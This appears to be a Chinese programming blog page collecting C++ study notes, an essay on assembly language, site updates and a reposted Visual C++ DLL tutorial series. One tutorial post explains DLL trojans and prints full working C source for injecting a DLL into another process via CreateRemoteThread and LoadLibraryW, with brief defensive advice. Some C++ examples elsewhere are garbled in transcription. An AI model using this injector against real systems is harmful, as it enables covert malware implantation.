C++学习笔记(重温计划之六)

4、函数性质

 1)函数形态

   C++中的函数分为“求值”和“返回值为空”两种类型。当函数有返回值时,须定义函数的返回值类型,为空时须定义为void。理论上说,函数只对输入参数和输出返回值负责,至于函数内部的细节程序本身并不干预。编程的原则是优先调用c++库函数,而后再进行手写,这有助于提升编程效率。

 2)传值参数

   参数通过传值机制进入函数内部。传值的具体方法是,在程序中遇到函数被调用时,实参被克隆为形参并参加函数运算。须注意的是,参数个数不宜过多。

 3)指针参数

   在面向对象编程中,我们通常使用指针参数的形式来进行传参。这样的好处是,指针参数其实赋予了函数操作异地数据的能力,使得函数不再需要返回具体值,而已经在函数运行中产生结果了。我们给出一个传递数组的方法:

   void mySort (int* b,int size);

   void f(){

    int a[]={3,4,5,1,7,2,9};

    mySort(a,sizeof(a)/sizeof(a[0]));

    //…

   }

   而事实上,数组也就只能使用传递地址一种方法来达到传递的目的。在实际编程中,传递指针和引用的特性广受欢迎。但是,传递指针和引用在一定程度上破坏了函数的黑盒性,不排除造成灾难性错误的可能,这就引起了一些麻烦。当然我们也可以利用一些手段来避免此类问题,例如:当传递引用时,使用const修饰符限制函数对参数的操作等等。

 4)函数的栈机制

   一般情况下,每当一个程序要运行时,操作系统会自动在内存中生成一个随时可以运行的进程空间。空间中分四个区域,分别是代码区、全局数据区、堆区和栈区。在栈区中,动态地存放了程序运行中的函数状态,利用这一点,我们可以进一步研究函数机制。

   平时在编写函数时,我们会给局部变量赋初值。这是因为c++的栈机制决定的。由于系统并不存在所谓的清理机制,每当运行一个新的程序时,旧的栈区中的数据将保留下来,而未得到初值的变量也就无可奈何了。

   以上也同样展现了指针的负面效应,甚至当我们知道数据确切地存放地址时,就可以任意而直接地改变地址中的数值了。

 5)函数指针

   函数指针主要有以下几种声明方法:

   int* f(int a);

   int *gp(int) ;

   int g(int);                  //这是另一种声明和定义区分开的例子

   int (gp)(int) =g;       //我们可以写成 int (gp)(int); int gp =g;

 需要注意,在声明或定义函数指针时,其参数的类型须为一致,否则编译不能通过。函数指针的主要作用是用来进行参数传递,且一般为bool(const T&,const T&)形式。在函数指针数组中,一些特定的操作将被简化和易于维护,例如:

  //… 

  typedef void (*MenuFun)();

   MenuFun fun[] = {f1,f2,f3};

   cin>>choice;

   switch(choice){

   case 1:fun0;break;

   //…

   }//…

   函数指针还使得C++有了沟通其它语言编写程序的能力,同时作为面向对象编程机制中的重要手段,在高级编程诸如动态链接库编程中都有广泛应用。

Comments

找到了~找到了

今天很激动,后果很严重。

Comments

首页建设计划

 有朋友提出首页音乐不符合本站主题…我们将作更改,另外待开发内容也已提上日程。由于本学期突然有期中考,我们的更新可能会慢一些,但技术交流的频率不会降低。

Comments

月中总结(第1期)

 我们每月中旬将对blog内容作一合订总结,并提供连载文章的目录。

 1、好文推荐:《Visual C++动态链接库编程》 作者:宋宝华

   简介:文章面向具有c++基础,并且对vc6.0环境有一定应用能力的读者。详细介绍了windows动态链接库的概念、编程方法和应用,是一份不可多得的技术参考类文章。

      Visual C++动态链接库编程(一)

      Visual C++动态链接库编程(二)

      Visual C++动态链接库编程(三)

      Visual C++动态链接库编程(四)

      Visual C++动态链接库编程(五)

      Visual C++动态链接库编程(六)

      Visual C++动态链接库编程(七)

      Visual C++动态链接库编程(八) (完结篇)

 2、语言学习:《C++学习笔记——重温计划》

   贴上博主原版C++学习笔记,由于是手工录入需要分期刊出。面向具有一定C语言基础的读者,无基础配合有关参考书籍亦可。

      C++学习笔记(重温计划之一)

      C++学习笔记(重温计划之二)

      C++学习笔记(重温计划之三)

      C++学习笔记(重温计划之四)

      C++学习笔记(重温计划之五) (待续)

Comments

小议汇编

 在绝大多数人眼中,汇编语言是一个低级的、面向机器硬件的程序设计语言。从第一颗微处理器诞生之日起,二进制代码形式的机器语言就被代替成了具有一定意义的特殊指令。指令的有序堆积即称为汇编语言。

 令人遗憾的是,中国人自计算机发明以来,几乎未在其硬件领域上取得过较大突破。微处理器技术也是如此。这也就能解释,为何若干套指令集中没有汉字的影子了。(无语。。。)其实,非但我国在这一领域起步较晚,当今技术水平与国外同类技术的差距也还是相当可观的。这样可能有人会说,经济全球化的今天,中国人为什么总要搞自己的一套东西!需知,信息产业在未来社会生活所占据的比重将十分庞大,而当今国际社会的政治形势变幻也从未停留过脚步,拥有民族化自主知识产权的技术也就成了重要一环。

 提前说了这么多废话,主要还是勉励当代微电子学专业的同学们奋发图强。我们从“软”的已经软到了火候,而该“硬”的却还没有硬得起来。

 目前高校的汇编语言教学主要是以8086/88指令系统为主要内容,事实上真正的汇编语言远不止这个概念。它的发展和CPU的发展几乎是同步进行的。我们知道,1971年intel公司推出了世界上第一台4位微处理器4004,1978年推出了16位微处理器i8086/87,并相应配套了x86指令集。随后的8088芯片用在了IBM-PC中,在1981年的首次PC机概念推广时广为人知。此后,x86指令集被多数微处理器厂商采用并集成到自主产品中。虽然后来的发展使cpu指令集不断更新扩充,但为了延续长期以往积攒的软件资源周期,都向上兼容了x86指令集。当然,不同的cpu大多数都有自己的扩展指令集,还有些并未沿用x86构架,但总的来说这些指令主要分两大构架:

   1、复杂指令系统计算机(CISC,Complex Instruction Set Computer):指令均处于平等地位的指令构架,有指令多且复杂,因为操作码扩展而增加寻址方式种类的特点。早期的x86指令集都属于cisc构架。

   2、精简指令系统计算机(RISC,Reduced Instruction Set Computer):指令有优先级之分,一般常用指令优先级较高,提升了运行效率,并且克服了cisc构架的上述若干缺点。当前除PC机以外的计算机系统基本上都采用RISC构架。

 cisc虽然拥有众多缺点,但x86集基础上所建立的软件资源是它至今仍必须在pc机上存在的重要原因。目前看来,cisc和risc在pc机上的争夺最终将走向中间领域,两大厂商intel和amd也在上世纪90年代开始同时采用了两种技术。

 那么,汇编语言的具体优势又在哪里?

 高级语言如C/C++,JAVA,C#等,都具有直观,抽象化易于理解,应用范围广的特点。早期的汇编语言相对而言就不具备这些优势了。通常汇编用来进行底层开发,例如操作系统及其硬件驱动程序、端口程序,还包括当前愈为流行的嵌入式开发等等。有时程序员会使用汇编语言和高级语言相配合以进一步达到高效精确的目的。近一段时期以来,随着汇编语言自身的发展和翻译程序的开发,汇编已经能够做到完全独立编写win32程序,其在一些高级绘图程序、视频游戏程序中的应用也越来越多。

 我认为,针对计算机偏软件方向的专业来说,汇编语言提供了一个能近距离观察机器内部实现的窗口。另外,通过对汇编语言程序设计的掌握,将对上层软件系统原理拥有更为深刻的理解。

Comments

C++学习笔记(重温计划之五)

3、数据类型(下)

 1)向量(Vectors)

   Vector是C++标准模板类库的重要组成部分,使用时需要包含头文件vector.主要定义方式如下:

    vector <int> a(10);                     //定义了10个整数元素,但没有赋初值

    vector <int> b(10,1);                  //定义了10个整数元素,且每个元素的初值为1

    vector <int> c(b);                       //用一个现成的向量创建一个向量

    vector <int> d(b.begin(),b.begin()+3);             //定义了一个其值为向量b前3个值的向量

 我们知道,当输出一个数组时我们一般用循环实现.在vector中,有相应的遍历器函数,形式为vector<int>::iterator,例如:

   for(vector<int>::iterator it = a.begin(); it != a.end() ; ++it)

    cout <<*it <<“ ”;

   有关向量的其他操作如下:

a.assign(b.begin(),b.begin()+3);     //将b的0-2元素构成的向量赋给a a.assign(4,2);                       //将a向量只含0-3元素,且赋为值2 int x = a.back();                    //将a的最后一个向量元素值赋给整数变量x a.clear();                           //a向量元素清空 if(a.empty()) cout << “empty”;       //a.empty()作为条件判断空或非空 int y = a.front();                   //将a的第一个向量元素赋给整数变量 ya.pop_back;                         //删除a向量的最后一个元素 a.push_back(5);                      //在a向量最后插入一个元素,其值为5 a.resize(10);                        //将向量元素个数调至10个,多则删,少则补,其值随机 a.resize(10,2);                      //将向量元素个数调至10个,多则删,少则补,其值为2 if(a==b) cout << “equal”;            //向量的比较操作还有!=,<,<=,>,>=

   向量与数组相比的好处是,其空间大小不需要提前指定,可以不断添加新的元素.但是,向量初始化时会分配一定的预留空间,如果添加元素的个数超过了预留空间,则需要扩容.内存意义上的扩容需要删除原空间并添加新的空间,这就必然增加向量操作的负担,因此在预计添加元素个数较多的情况下,我们还是需要给定向量的初始化大小.

   和数组类似,向量也存在2维向量乃至多维向量.我们通常使用 vector<vector<int>> 的形式声明一个2维向量,其一般操作和1维向量的方法是一致的.

 2)指针与引用

   c++的指针应用几乎是必不可少,我们将用较大篇幅来研究指针的用法.

 a.指针的定义

   如下的定义方式都是正确的

   int * p;

   char *cp;

   float* fp;

   double*dp;

   我们也可以定义一个二级指针

   int ** iip;

   但需要注意的是,一个*只能修饰一个指针,例如

   int* ip,iq;   //其中ip为指针变量,而iq为整形变量

   在指针初始化的过程中,有下面的形式:

   int* ip;

   int iCount = 18;

   int* iPtr = &iCount;       //初始化,&表示实体的地址,&后可以是一个变量,但不能是具体数值

   ip = &iCount;;              //赋值

   须注意,int ip = &iCount; 与 ip = &iCount; 并不相同,前者为初始化并赋值,后者本身形式错误.诸如 int iPtr; iPtr = 58;的语句也是毫无意义的.

 b.指针类型

  指针是有类型的,其类型也必须是一致的.在c语言中,有强制类型转换(int *),但事实上,c++有自身的强制转换函数.例如:

   int ip = reinterpret_cast<int>(&f);           //reinterpret的含义本身是” 重解释”,因而将float型指针无条件转换为整形指针.

 c.指针运算

   #include<iostream>    using namespace std;    int main(void){      int iArray[6];      for(int i=0;i<6;++i) iArray[i]= i2;      for(int iP=iArray; iP<iArray+6; iP+=1)      cout<<iP<<“: ”<<*iP<<endl;    }

   上面的程序例中,指针运算在数组中的应用已有了初步展现.同时对于不同类型的指针,相应的运算操作也有不同的数据变化.但是,在指针进行超过数组范围的操作时是非常危险的.

 d.指针限定

   我们知道,一个指针可以表示两个实体,即地址值和间仿值.因而,指针本身也分为指针常量和常量指针.

   const int a = 78;

   int b = 10;

   int c = 18;

   const int* ip = &a;                  //const 修饰指向的实体类型 常量指针 无法修改数值

   int const cp = &b;                 //const 修饰指针cp 指针常量 无法修改地址

   int const* dp = &b;                 //同上

   const int *const icp = &c;       //常量指针常量 均无法修改

 e.引用

   引用定义为:

   int someInt = 5,anyInt = 8;

   int & rInt = someIne;    //引用的作用类似别名,但值得注意的是, 如果重定义 rInt = anyInt,则rInt地址不变,值变为8,引用与指针的差别也就在于此了.即引用无法更改所引用的地址.通常我们也能使用const int & rInt = someIne使上述语句无法运行.但实体本身的操作someInt = 8同样能达到目的.

   引用的主要作用是进行参数传递,这在后文中将有较为详细深入的介绍.

Comments

C++学习笔记(重温计划之四)

3、数据类型(中)

 1)C-串与string

   c++的字符串分两类,一种是由c语言沿袭而来,称为c-串。例如,

   char buffer[7]=“Hello!”; //由于所有字符串必须以\0为结束符,则长度定义必须比实际元素个数多1

   事实上,字符数组的实际类型为char,或const char,称为字符型指针。实际应用中我们做如下定义:

   char str=“Hello!”;//输出str时为”H”,str则为”Hello”

   在c库函数中,又定义了字符串操作函数,例如strcmp(比较)、strcpy(复制)、strcat(连接)、strrev(倒置)、strset(设置)、strstr/strchr(查找串或字符)。通常我们需要指定头文件string.h,标准c++将其嵌套入iostream中,即省略了这一调用。

  其实,C++中提供了另一种高效可行的字符串类型,即string类型。string类是标准c++中的基础类,这在后文中我们会有详细解释。string的目的是使字符串操作更加方便安全。

include”iostream”

include”algorithm”

using namespace std;

int main(){

   string a,s1 = “Hello!”;

   string s2 = “123”;

   a=s1;                                                                                    //复制

   cout << (a==s1 ? “ ” : “not”) << “equal\n”;                          //比较

   cout << a+s2 <<endl;                                                         //连接

   reverse(a.begin(),a.end());                                                     //倒置串

   cout <<a << endl;

   cout << a.replace(0,9,9,‘c’)<<endl;                                     //设置

   cout << (s1.find(“ell”)!= -1 ? “” : “not”) << “found\n”;        //查找串

   cout << (s1.find(‘c’)!= -1 ? “” : “not”) << “found\n”);          //查找字符

}

   由上基本可以看出,string在与c-串对比中是明显有优势的。而且,c-串可以随时赋值给string变量,具有相当的亲和程度.

  现在讨论string与c-串在输入输出中的c++用法.

   当输入时,我们以:

   fot(string s;cin >> s;)            //string s可以替换为char s[10]

   cout << s <<“ ”;

   cout << endl; 

   cin >>在读入时一般过滤前导空格,包括空格、回车、水平/垂直制表符等等。

  我们同样可以采用非循环的方式。例如:

   string s;                           //在字符数组中,可以定义char s[10]

   getline(cin,s);                   //相应可以改为cin.getline(s,10)

   cout << s <<endl;           //getline的好处是,在读入多行字符时,程序可以将内容逐行分解操作

  下面假设,存在一个文件aaa.txt,文件内有若干行整数,并且每行整数个数未知。这时求每行的整数和。

include<iostream>                      //该程序已调试通过

include<sstream>

include<fstream>

using namespace std; int main(void){  ifstream in(“aaa.txt”);  for(string s;getline(in,s);){              //逐行读入的循环   int a, sum = 0;   for(istringstream sin(s);sin>>a;sum+=a);          //istringstream sin(s)意在创建输入string流sin(),sin>>即从string流中将整数输入到a中进行运算   cout << sum << endl;  }  getchar();  return 0; }

  上面的程序体现了string流的概念,进一步体现了string字符串型的优势和特点。

  2)数组

   int a[5];   //即定义了一个数组,5代表了数组中元素个数。并且[ ]内必须为常量表达式,通常我们可以使用const int定义。

   数组的初始化过程中,有如下几种方式进行:

   int iArray[10] = {1,2,3,4,5,6,7,8,9,10};

   请注意,以上方式禁止的有:元素个数大于定义数、中途有元素定义为空、元素省略…不过实际操作中可以使元素个数少于定义数,比如  int iArray[10] = {1,2,3,4,5,6,7,8}; 这是允许的。

 int iArray[] = {1,2,3,4,5,6,7,8,9,10};  //虽然没有定义常量值,但初始化值的个数已经做出说明了。

 我们还能用到sizeof(a[n])来返回a[n]元素所占空间的字节数。

 下面来探测未初始化数组元素的默认值情况。计算机把这一类数组区分为全局数组或静态数组、局部数组。在全局数组和静态数组中,未定义情况下的元素值恒为0,而在局部数组中则变成不确定数。

 数组也有多位数组的形式,可定义为:

   int a[3][5];   //这是一个2维数组,其输入输出方式和1维数组是相同的

Comments

首页正在更新flash源码

 此次更新的主要目的是为接下来的内容扩展做好铺垫,另外也是为了增强网站的整体美观。晚上花了点时间只是整理出一个框架,未来具体情况目前还在构思中。

Comments

Visual C++动态链接库编程(八)——完结篇——宋宝华解疑

 1.关于文章的获取

  许多读者发来e-mail询问本系列文章的相关事宜,如:

  (1) 是否已出版?

  (2) 哪里可以下载打包版?

  (3) 哪里可以下载笔者的其它文章?

  还有一些读者对日前笔者在天极网发表的《C语言嵌入式系统编程修炼之道》非常喜爱,给予了热情洋溢的赞扬,询问笔者能否继续创作嵌入式编程方面的文章。

  对于这些问题,统一作答如下:

  (1)本系列文章暂时尚未出版;

  (2)您可以在天极网软件频道下载笔者的多数拙作。另外,我也将不定期将这些文章上传到我的博客( http://blog.donews.com/21cnbao/%EF%BC%89%E3%80%82%E6%89%80%E6%9C%89%E6%96%87%E7%AB%A0%E4%B8%AD%E7%9A%84%E4%BE%8B%E7%A8%8B%E6%BA%90%E4%BB%A3%E7%A0%81%E5%9D%87%E7%BB%8F%E8%BF%87%E4%BA%B2%E6%89%8B%E8%B0%83%E8%AF%95%EF%BC%8C%E9%AA%8C%E8%AF%81%E6%97%A0%E8%AF%AF%EF%BC%9B

  (3)就嵌入式系统开发,笔者将继续进行此方面的创作,新近将推出《基于嵌入式实时OS VxWorks的多任务程序设计》及《领悟:从Windows多线程到VxWorks的多任务》。

  非常感谢读者朋友对这些文章的喜爱,在下将竭尽所能地为您提供更多的好文章。

  2.关于DLL的疑问

  你好,看了你写的”VC++ DLL编程深入浅出”,特别有收获。 只是有个地方我老搞不明白,就是用DLL导出全局变量时,指定了.lib的路径(#pragma comment(lib,“dllTest.lib”)),那么.dll的文件的路径呢,我尝试着把.dll文件移到别的地方程序就无法正常运行了,请问.dll在这里怎么指定。

  希望您能在百忙中抽空给我解答一下,不胜感激!

  一位编程爱好者

  回答:

  Windows按下列顺序搜索DLL:

  (1)当前进程的可执行模块所在的目录;

  (2)当前目录;

  (3)Windows 系统目录,通过GetSystemDirectory 函数可获得此目录的路径;

  (4)Windows 目录,通过GetWindowsDirectory 函数可获得此目录的路径;

  (5)PATH 环境变量中列出的目录。

  因此,隐式链接时,DLL文件的路径不需要指定也不能指定,系统指定按照1~5的步骤寻找DLL,但是对应的.lib文件却需要指定路径;如果使用Windows API函数LoadLibrary动态加载DLL,则可以指定DLL的路径。

  你好,我是一位C++初学者,我在PCONLINE看了教学之后,受益不浅。我想问一下能否在DLL里使用多线程?MSDN上用#using <mscorlib.dll>这个指令之后实现了多线程,不过好象不支持DLL..

  请问有什么办法支持制作多线程DLL??能否给一个源码来?

  回答:

  在DLL中可以处理多线程,WIN32对于多线程的支持是操作系统本身提供的一种能力,并不在于用户编写的是哪一类程序。即便是一个控制台程序,我们都可以使用多线程:

#include <stdio.h> #include <windows.h> void ThreadFun(void) {  while(1)  {   printf( “this is new thread\n” );   Sleep( 1000 );  } } int main() {  DWORD threadID;  CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)ThreadFun, NULL, 0, &threadID );  while(1)  {   printf( “this is main thread\n” );   Sleep( 1000 );  } }

  观察程序运行的结果为在控制台窗口上交替输出this is main thread、this is new thread。

  我们来看下面的一个多线程DLL的例子。

  DLL程序提供一个接口函数SendInit,在此接口中启动发送线程SendThreadFunc,在这个线程的对应工作函数中我们使用原始套接字socket发送报文。参考微软出版的经典书籍《Windows核心编程》,我们发现,不宜在DLL被加载的时候(即进程绑定时)启动一个新的线程。

  这个线程等待一个CEvent事件(用于线程间通信),应用程序调用DLL中的接口函数SendMsg( InterDataPkt sendData )可以释放此事件。下面是相关的源代码:

  (1)发送报文线程入口函数

/////////////////////////////////////////////////////////////////////////// //函数名:SendThreadFunc //函数功能:发送报文工作线程入口函数,使用UDP协议 //////////////////////////////////////////////////////////////////////////// DWORD WINAPI SendThreadFunc( LPVOID lpvThreadParm ) //提示:对于线程函数应使用WINAPI声明,WINAPI被宏定义为__stdcall {  /* 创建socket */  sendSock = socket ( AF_INET, SOCK_DGRAM, 0 );  if ( sendSock == INVALID_SOCKET )  {   AfxMessageBox ( “Socket创建失败” );   closesocket ( recvSock );  } /* 获得目标节点端口与地址 */  struct sockaddr_in desAddr;  desAddr.sin_family=AF_INET;  desAddr.sin_port=htons( DES_RECV_PORT ); //目标节点接收端口  desAddr.sin_addr.s_addr = inet_addr( DES_IP );  /* 发送数据 */  while(1)  {   WaitForSingleObject( hSendEvent, 0xffffffffL );//无限等待事件发生   ResetEvent( hSendEvent );   sendto( sendSock, (char *)sendSockData.data, sendSockData.len, 0, (struct sockaddr*)&desAddr, sizeof(desAddr) );  }  return -1; }

  (2)MFC规则DLL的InitInstance函数

///////////////////////////////////////////////////////////////////////////// // CMultiThreadDllApp initialization BOOL CMultiThreadDllApp::InitInstance() {  if ( !AfxSocketInit() ) //初始化socket  {   AfxMessageBox( IDP_SOCKETS_INIT_FAILED );   return FALSE;  }  return TRUE; }

  (3)启动发送线程

//////////////////////////////////////////////////////////////////////////////// //函数名:SendInit //函数功能:DLL提供给应用程序调用接口,用于启动发送线程 ///////////////////////////////////////////////////////////////////////////// void SendInit(void) {  hSendThread = CreateThread( NULL, 1000, SendThreadFunc, this, 1, &uSendThreadID ); }

  (4)SendMsg函数

//////////////////////////////////////////////////////////////////////////////// //函数名:SendMsg //函数功能:DLL提供给应用程序调用接口,用于发送报文 ///////////////////////////////////////////////////////////////////////////// extern “C” void WINAPI SendMsg( InterDataPkt sendData ) {  sendSockData = sendData;  SetEvent( hSendEvent ); //释放发送事件 }

  以上程序仅仅是一个简单的例子,其实在许多工程应用中,我们经常看到这样的处理方式。这个DLL对用户而言仅仅使一个简单的接口函数SendMsg,对调用它的应用程序屏蔽了多线程的技术细节。与之类似,MFC提供的CSocket类在底层自己采用了多线程机制,所以使我们免去了对多线程的使用。

  您好,看了您的DLL文章,发现导出函数可以直接用declspec(dllexport)声明或在.def文件中定义,变量的导出也一样。我想知道类是否也可以在.def文件中导出?您的文章中只讲了在类前添加declspec(dllexport)导出类的方法。请您指教!

  回答:

  一般我们不采用.def文件导出类,但是这并不意味着类不能用.def文件导出类。

  使用Depends查看连载2的”导出类”例程生成的DLL,我们发现其导出了如图21的众多”怪”symbol,这些symbol都是经过编译器处理的。因此,为了以.def文件导出类,我们必须把这些”怪”symbol全部导出,实在是不划算啊!所以对于类,我们最好直接以_declspec(dllexport)导出。

图1 导出类时导出的symbol

  您好,看了您的DLL文章,知道怎么创建DLL了,但是面对一个具体的工程,我还是不知道究竟应该把什么做成DLL?您能给一些这方面的经验吗?

  回答:

  DLL一般用于软件模块中较固定、较通用的可以被复用的模块,这里有一个非常好的例子,就是豪杰超级解霸。梁肇新大师把处理视频和音频的算法模块专门做成了两个DLL,供超级解霸的用户界面GUI程序调用,实在是DLL设计的模范教程。所谓”万变不离其宗”,超级解霸的界面再cool,用到的还是那几个DLL!具体请参考《编程高手箴言》一书。

  您好,您的DLL文章讲的都是Windows的,请问Linux操作系统上可以制作DLL吗?如果能,和Windows有什么不一样?谢谢!

  回答:

  在Linux操作系统中,也可以采用动态链接技术进行软件设计,但与Windows下DLL的创建和调用方式有些不同。

  Linux操作系统中的共享对象技术(Shared Object)与Windows里的DLL相对应,但名称不一样,其共享对象文件以.so作为后缀。与Linux共享对象技术相关的一些函数如下:

  (1)打开共享对象,函数原型:

//打开名为filename共享对象,并返回操作句柄; void *dlopen (const char *filename, int flag);

  (2)取函数地址,函数原型:

//获得接口函数地址 void *dlsym(void *handle, char *symbol);

  (3)关闭共享对象,函数原型:

//关闭指定句柄的共享对象 int dlclose (void *handle);

  (4)动态库错误函数,函数原型:

//共享对象操作函数执行失败时,返回出错信息 const char *dlerror(void);

  从这里我们分明看到Windows API――LoadLibrary、FreeLibrary和GetProcAddress的影子!又一个”万变不离其宗”!

  本系列文章的连载暂时告一段落,您可以继续给笔者发送email(mailto:21cnbao@21cn.com)讨论DLL的编程问题。对于文中的错误和纰漏,也热诚欢迎您指正。

Comments

Visual C++动态链接库编程(七)

  从前文可知,DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。

  DLL木马的原理

  DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。

  正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:

  (1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;

  (2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下”蛛丝马迹”,达到隐蔽自身的目的。

  DLL木马实现了”真隐藏”,我们在任务管理器中看不到木马”进程”,它完全溶进了系统的内核。与”真隐藏”对应的是”假隐藏”,”假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是”假隐藏”木马本质上还具备独立的进程空间。”假隐藏”只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。

  DLL木马注入其它进程的方法为远程线程插入。

  远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。

  DLL木马注入程序

  这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比,我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点:

  (1)CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:

HANDLE CreateRemoteThread(  HANDLE hProcess, //远程进程句柄  LPSECURITY_ATTRIBUTES lpThreadAttributes,  SIZE_T dwStackSize,  LPTHREAD_START_ROUTINE lpStartAddress,  LPVOID lpParameter,  DWORD dwCreationFlags,  LPDWORD lpThreadId );

  (2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;

  (3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。   以下程序由作者Shotgun的DLL木马注入程序简化而得(单击此处下载,在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll插入到ID为4000的进程中:

#include <windows.h> #include <stdlib.h> #include <stdio.h>void CheckError ( int, int, char *); //出错处理函数 PDWORD pdwThreadId; HANDLE hRemoteThread, hRemoteProcess; DWORD fdwCreate, dwStackSize, dwRemoteProcessId; PWSTR pszLibFileRemote=NULL; void main(int argc,char **argv) {  int iReturnCode;  char lpDllFullPathName[MAX_PATH];  WCHAR pszLibFileName[MAX_PATH]={0};  dwRemoteProcessId = 4000;  strcpy(lpDllFullPathName, “d:\troydll.dll”);  //将DLL文件全路径的ANSI码转换成UNICODE码  iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,   lpDllFullPathName, strlen(lpDllFullPathName),   pszLibFileName, MAX_PATH);  CheckError(iReturnCode, 0, “MultByteToWideChar”);  //打开远程进程  hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程   PROCESS_VM_OPERATION | //允许VM操作   PROCESS_VM_WRITE, //允许VM写   FALSE, dwRemoteProcessId );  CheckError( (int) hRemoteProcess, NULL, “Remote Process not Exist or Access Denied!”);  //计算DLL路径名需要的内存空间  int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);  pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);  CheckError((int)pszLibFileRemote, NULL, “VirtualAllocEx”);  //将DLL的路径名复制到远程进程的内存空间  iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);  CheckError(iReturnCode, false, “WriteProcessMemory”);  //计算LoadLibraryW的入口地址  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)    GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);  CheckError((int)pfnStartAddr, NULL, “GetProcAddress”);  //启动远程线程,通过远程线程调用用户的DLL文件  hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);  CheckError((int)hRemoteThread, NULL, “Create Remote Thread”);  //等待远程线程退出  WaitForSingleObject(hRemoteThread, INFINITE);  //清场处理  if (pszLibFileRemote != NULL)  {   VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);  }  if (hRemoteThread != NULL)  {   CloseHandle(hRemoteThread );  }  if (hRemoteProcess!= NULL)  {   CloseHandle(hRemoteProcess);  } } //错误处理函数CheckError() void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg) {  if(iReturnCode==iErrorCode)  {   printf(“%s Error:%d\n\n”, pErrorMsg, GetLastError());   //清场处理   if (pszLibFileRemote != NULL)   {    VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);   }   if (hRemoteThread != NULL)   {    CloseHandle(hRemoteThread );   }   if (hRemoteProcess!= NULL)   {    CloseHandle(hRemoteProcess);   }   exit(0);  } }

  从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

  (1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

  (2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

  (3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

  a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

  b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

  c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

  (4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

  (5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

  (6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

  (7)清理现场。

  DLL木马的防治

  从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

  一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。

  对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。”道高一尺,魔高一丈”,现如今,DLL木马也发展到了更高的境界,它们看起来也不再”莫名其妙”。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

  本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。

Comments